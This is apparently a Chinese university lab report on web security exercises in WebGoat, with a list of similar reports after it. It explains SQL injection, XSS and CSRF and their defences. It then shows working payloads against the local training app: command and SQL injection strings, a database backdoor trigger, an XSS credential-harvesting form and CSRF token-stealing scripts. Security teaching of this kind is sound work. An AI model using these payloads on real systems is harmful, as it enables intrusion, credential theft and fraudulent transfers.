2018-2019-2 20165209 《网络对抗技术》Exp9: Web安全基础

1 基础问题回答和实验内容

1.1基础问题回答

  • (1)SQL注入攻击原理,如何防御?

    • 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
    • 防御:
      • 对用户的输入进行校验。
      • 不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
      • 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
      • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
      • 应用的异常信息应该给出尽可能少的提示。
      • 采取辅助软件或网站平台来检测sql注入。
  • (2)XSS攻击的原理,如何防御?

    • 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
    • 防御:
      • 特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
      • 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
      • 实现Session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
  • (3)CSRF攻击原理,如何防御?

    • 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
    • 防御:
      • 在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
      • “双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
      • 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。

1.2 实验内容

  • Webgoat安装

  • Injection Flaws攻击

    • Command Injection
    • Numeric SQL Injection
    • Log Spoofing
    • String SQL Injection
    • Database Backdoors
    • Blind Numeric SQL Injection
    • Blind String SQL Injection
  • XSS攻击——Cross-Site Scripting

    • Phishing with XSS
    • Stored XSS Attacks
    • Reflected XSS Attacks
  • CSRF攻击

    • Cross Site Request Forgery(CSRF)
    • CSRF Prompt By-Pass
    • CSRF Token By-Pass

2 实验步骤

2.1 Webgoat安装

  • 下载webgoat-container-7.0.1-war-exec.jar

  • 输入java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,在实验过程中不要关闭。

  • 在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面

  • 输入用户名密码guest登录

  • 注:由于我登陆之后没有显示左侧的内容,经过看别人的博客得知,因为kali里安装的JDK版本太高原因导致的。将原来的jdk卸载并重新安装jdk1.8,参考kali安装java1.8

  • 官网上了Linux 64 版JDK1.8下载不下来,在这里上传了一个可以使用的1.8版JDK 链接 提取码:uznk

  • 安装成功之后登录成功。

2.2 Injection Flaws攻击

2.2.1 Command Injection

  • 选择 Injection Flaws -> Command Injection

    右键页面中复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"
  • 点击 view,看到网络端口使用情况和 IP 地址,攻击成功

2.2.2 Numeric SQL Injection

  • 选择 Injection Flaws -> Numeric SQL Injection

    右键页面中复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1
  • 点击 Go,可以看到攻击成功

2.2.3 Log Spoofing

  • 选择 Injection Flaws -> Log Spoofing
  • 在User Name中输入csb%0d%0aLogin Succeeded for username: admin利用0D%(回车)和%0A(换行)让其在日志中显示两行
  • 输入任意密码后点击 Login,成功将用户名追加到日志文件中。

2.2.4 String SQL Injection

  • 选择 Injection Flaws -> String SQL Injection,右键页面将password密码框,选择inspect Element审查网页元素对源代码进行修改,将其最大长度限制改为20

  • 以用户Neville登录,输入密码Smith' or '1' = '1
  • 攻击成功,得到所有人员列表

2.2.5 Database Backdoors

  • 选择 Injection Flaws -> Database Backdoors
  • 输入101,得到该用户的信息

  • 输入注入语句101; update employee set salary=10000

  • 输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid设置触发器

2.2.6 Blind Numeric SQL Injection

  • 服务端页面返回的信息有两种:帐号有效,账号无效,因此无法简单地查询到帐号的 PIN 数值。但可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;

    如果返回了帐号的信息,页面将提示帐号有效,否则提示无效。
  • 输入101 AND 1=1 页面返回帐号有效

  • 输入101 AND 1=2 第二个条件不成立,页面返回帐号无效

  • 输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );页面返回帐号无效,说明PIN<=10000

  • 进过多次测试,输入2364为正确PIN值

2.2.7 Blind String SQL Injection

  • 这次查询的字段是一个字符串而不是数值
  • 输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );取得 pin 字段数值的第一个字母,判断其是否比字 母“H”小
  • 经过多次测试和页面的返回数据,最终判断出PIN字段的值为Jill

2.3 XSS攻击——Cross-Site Scripting

2.3.1Phishing with XSS

  • 使用XSS和HTML写一个简单的带form的网站,要求填写用户名和密码。

  • 编写一个带用户名和密码输入框的表格

          <form>
    <br><br><HR><H3>This feature requires account login:</H3 ><br><br>
    Enter Username:<br><input type="text" id="user" name="user"><br>
    Enter Password:<br><input type="password" name = "pass"><br>
    </form><br><br><HR>
  • 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat

          function hack()
    {
    alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
    }
    </script>
  • 将两段代码合并后,在 XSS - > Phishing with XSS搜索上面代码,在显示的表单中输入用户名和密码,登录后WebGoat会将输入的信息捕获并反馈给我们。

2.3.2 Stored XSS Attacks

  • 常见于论坛等留言,用户留言创建非法的消息内容,输入一段JavaScript脚本,其被保存在数据库中,任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行,可以导致其他用户访问非预期的页面或内容。
  • 在XSS - > Stored XSS Attacks页面的title中输入任意字符a,留言板中输入<script>alert("You've been ttacked!!!");</script>
  • 点击下面的a字符,攻击成功。

2.3.3 Reflected XSS Attacks

  • XSS反射型攻击,恶意代码并没有保存在目标网站,通过使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件,引诱用户点击,实施攻击。
  • 在XSS - > Reflected XSS Attacks页面中输入<script>alert("You've been attacked!!!");</script>点击 purse ,页面显示攻击成功。

2.4 CSRF攻击

2.4.1 Cross Site Request Forgery(CSRF)

  • 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
  • 在 XSS - > Cross Site Request Forgery(CSRF)

    页面,查看右下方 Parameters 中的 src 和 menu 值,分别为320和900。
  • 在Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=320&menu=900&transferFunds=5000" width="1" height="1" />点击 Submit (其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
  • 输入任意Title,提交后在Message List中生成以Title命名的链接。点击链接,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

2.4.2 CSRF Prompt By-Pass

  • 在 XSS - > CSRF Prompt By-Pass 页面,查看右下方的Parameters中的src和menu值,我的分别为279和900。

  • 输入任意的Title,在message中输入

      <iframe src="attack?Screen=279&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=279&menu=900&transferFunds=CONFIRM"> </iframe>
  • 点击 Submit 生成以Title命名的链接,点击链接,攻击成功

2.4.3 CSRF Token By-Pass

  • 向包含恶意转账请求的新闻组发送电子邮件。要成功完成,需要获取有效的请求令牌。显示转账表单的页面包含有效的请求令牌。转账页面的URL是“攻击”servlet,带有本课的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds=main”。加载此页面,读取令牌并将令牌附加到伪造的请求中,以转移资金。

  • 在XSS - >CSRF Token By-Pass

    页面查看网页http://local host:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=main生成的资金转账页面的表单内容。

  • 结合token的值构造伪造的URL,附加转账参数4000,通过frame->forme的路径可以读取并保存CSRFToken参数。

          <script>
    var readToken = function(){
    var doc = document.getElementById("frame1").contentDocument
    var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");
    alert(token);
    var frame2 = document.getElementById("frame2");
    frame2.src = "http://127.0.0.1:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=4000&CSRFToken="+token;
    }
    </script>
    <iframe id="frame2" >
    </iframe>
    <iframe id="frame1" onload="readToken()" src="http://127.0.0.1:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=main" >
    </iframe>
  • 输入任意的Title,在message中输入上面的代码,点击 Submit 生成以Title命名的链接,点击链接,攻击成功。

实验总结与体会

这个实验过程还是很容易的,但是要理解还是需要时间的。这是最后一个实验了,还是很开心的。在实验过程中不仅体会了攻击技术的强大,也对网络安全有了新的认识。

2018-2019-2 20165209 《网络对抗技术》Exp9: Web安全基础的更多相关文章

  1. 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践

    20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...

  2. 2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础

    2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础 1.基础问题 SQL注入攻击原理,如何防御 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同 ...

  3. 20155208徐子涵《网络对抗》Exp9 Web安全基础

    20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...

  4. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

  5. #20155232《网络对抗》Exp9 Web安全基础

    20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...

  6. 20155302《网络对抗》Exp9 Web安全基础

    20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...

  7. 20155308《网络对抗》Exp9 Web安全基础实践

    20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...

  8. 20155323刘威良《网络对抗》Exp9 Web安全基础

    20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...

  9. 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践

    20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...

  10. 20145233《网络对抗》Exp9 Web安全基础实践

    20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

随机推荐

  1. python简单页面爬虫入门 BeautifulSoup实现

    本文可快速搭建爬虫环境,并实现简单页面解析 1.安装 python 下载地址:https://www.python.org/downloads/ 选择对应版本,常用版本有2.7.3.4 安装后,将安装 ...

  2. 七年开发小结MyBatis 在 Spring 环境下的事务管理

    MyBatis的设计思想很简单,可以看做是对JDBC的一次封装,并提供强大的动态SQL映射功能.但是由于它本身也有一些缓存.事务管理等功能,所以实际使用中还是会碰到一些问题——另外,最近接触了JFin ...

  3. Spring Aop织入点语法

    Aspectj织入点语法: 1.execution(public * *(..))   任何类的任何返回值的任何方法 2.execution(* set*(..))       任何类的set开头的方 ...

  4. 在STM32F746G-DISCO开发板上使用Nabto + FreeRTOS的演示热泵应用

    当使用STM32 ARM Cortex-M微控制器时,ST的免费嵌入式软件STM32Cube提供了所有必要的驱动程序和中间件组件,以减少初始的开发工作.在上述提到的中间件组件中,其中一个是非常受欢迎的 ...

  5. SSL 部署,实现 https 化

    HTTPS 请求更安全, 且容易被搜索引擎收录. 现在很多服务器都有免费证书如腾讯云.七牛云.阿里云. 本篇以阿里云为例. 一.申请 SSL 证书 1.登录阿里云服务器: 2.产品与服务 -> ...

  6. 如何在vscode中用standard style 风格去验证 vue文件

    1 JavaScript Standard Style简介 本工具通过以下三种方式为你(及你的团队)节省大量时间: 无须配置. 史上最便捷的统一代码风格的方式,轻松拥有. 自动代码格式化. 只需运行 ...

  7. docker学习(六) Docker命令查询

    Docker命令查询 1.基本语法docker [OPTIONS] COMMAND [arg...]一般来说,Docker 命令可以用来管理 daemon,或者通过 CLI 命令管理镜像和容器.可以通 ...

  8. [NgRx] Setting up NgRx Router Store and the Time-Travelling Debugger

    Make sure you have the@ngrx packages installed: "@ngrx/data": "^8.0.1", "@n ...

  9. PHP实现多文件上传的一些简单方法

    下面我们就通过具体的代码示例,为大家介绍PHP实现多文件上传的一些简单方法. 第一种方法:利用单个文件上传方法 一段简单的form表单代码如下: <!DOCTYPE html> <h ...

  10. hive优化,开启压缩功能

    1.开启hive作业mapreduce任务中间压缩功能: 对于数据进行压缩可以减少job中map和reduce task间的数据传输量.对于中间数据压缩,选择一个低cpu开销编/解码器要不选择一个压缩 ...